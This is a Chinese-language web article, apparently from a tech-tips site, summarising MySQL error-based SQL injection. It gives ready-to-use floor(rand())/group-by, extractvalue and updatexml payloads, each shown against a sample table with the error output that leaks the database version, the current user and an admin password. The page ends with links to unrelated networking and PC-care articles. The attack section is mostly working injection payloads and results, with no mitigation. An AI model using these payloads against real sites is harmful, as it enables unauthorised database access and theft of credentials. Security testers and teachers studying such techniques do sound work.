mysql 注入报错利用方法总结

所属分类: 网络安全 / 安全设置 阅读数: 228
收藏 0 赞 0 分享

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

举例如下:

首先进行正常查询:

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。

例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

2、ExtractValue

测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

更多精彩内容其他人还在看

用IP安全策略自动设置工具的遇到故障与解决方法

我最新在服务器上使用了IP安全策略自动设置工具,服务器是web站点,开80,20,21,3389等。
收藏 0 赞 0 分享

分享几个WebSite网站防黑经验

分享几个WebSite网站防黑经验,站长朋友可以参考下。
收藏 0 赞 0 分享

在Windows 下关闭21\23\25端口的方法

在Windows 下关闭21\23\25端口的方法,有时候为了安全我们需要禁止一些端口
收藏 0 赞 0 分享

招你几教 让你防止电脑辐射

对于生活紧张而忙碌的人群来说,抵御电脑辐射最简单的办法就是在每天上午喝2至3杯的绿茶,吃一个橘子
收藏 0 赞 0 分享

教你把电脑屏幕设置成可以保护眼睛的颜色

我们知道,长期使用电脑,眼睛盯着屏幕会使眼睛非常干涩、疲劳,所以现在流行将电脑设置成可以保护眼睛的颜色。
收藏 0 赞 0 分享

家庭用路由器功能的详细介绍

现在的宽带路由器不少功能对于一般家庭用户来说确实非常实用,可以提高很多网络应用程序的执行效果。下面谈谈家用路由器所具备的功能,顺便告诉大家哪些功能比较实用、哪些功能意义不大。
收藏 0 赞 0 分享

你的路由要hold住 带宽提速时代

近日,工业和信息化部召开宽带普及提速工程动员部署大会,在会上宣布正式启动实施“宽带普及提速工程”,至此,我国备受关注和带宽提速开始了。
收藏 0 赞 0 分享

用路由器限制别人的网速的技巧

在学校里面每个寝室使用一根线在上网,如果有人在下载的话,导致网速变得很慢,有没有什么办法可以限制别人的网速,来限制下载速度呢。当然是可以的,下面笔者来教我们怎么去限制别人的网速来限制别人下载的速度。
收藏 0 赞 0 分享

路由器与路由器互相连接详细设置图文教程

本文将为大家详细讲述路由接路由的设置方法,下面以图示先标明局域网各路由间的接法:
收藏 0 赞 0 分享

家用无线路由器安全设置必读

伴随着各运营商的宽带大提速,无线已经成为家庭组网的首选。老百姓真真切切地感觉到:无线真好!而且各厂商的在无线路由器的设置上也尽力做到人性化,以帮助大叔大妈们也能轻松的设置家庭无线网络,但一提到如何让家里的无线网络更加安全?很多大妈又犯了难,认为安全防护
收藏 0 赞 0 分享
查看更多